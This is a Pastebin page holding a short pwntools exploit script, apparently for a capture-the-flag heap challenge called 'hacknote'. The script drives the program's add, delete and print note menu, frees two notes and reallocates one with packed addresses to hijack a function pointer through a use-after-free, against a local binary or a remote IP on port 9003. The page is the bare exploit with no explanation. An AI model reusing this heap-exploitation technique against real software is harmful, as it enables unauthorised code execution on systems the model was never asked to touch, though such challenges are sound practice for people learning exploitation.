Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from pwn import *
- LOCAL = True
- def add_note(size,content):
- target.recvuntil("Your choice :")
- target.sendline("1")
- target.recvuntil("Note size :")
- target.sendline(size)
- target.recvuntil("Content :")
- target.sendline(content)
- def del_note(index):
- target.recvuntil("Your choice :")
- target.sendline("2")
- target.recvuntil("Index :")
- target.sendline(index)
- def print_note(index):
- target.recvuntil("Your choice :")
- target.sendline("3")
- target.recvuntil("Index :")
- target.sendline(index)
- print target.recv()
- def pwn():
- add_note("16","A"*16)
- add_note("16","B"*16)
- add_note("16","C"*16)
- add_note("16","D"*16)
- del_note("2")
- del_note("0")
- add_note("8",p32(0x08048b09)+p32(0x0804a010)+"AAAA"+p32(0x0804a018))
- raw_input()
- print_note("2")
- def main():
- global target
- if LOCAL:
- target = process("./hacknote")
- else:
- target = remote('209.190.1.131', 9003)
- pwn()
- if __name__ == "__main__":
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement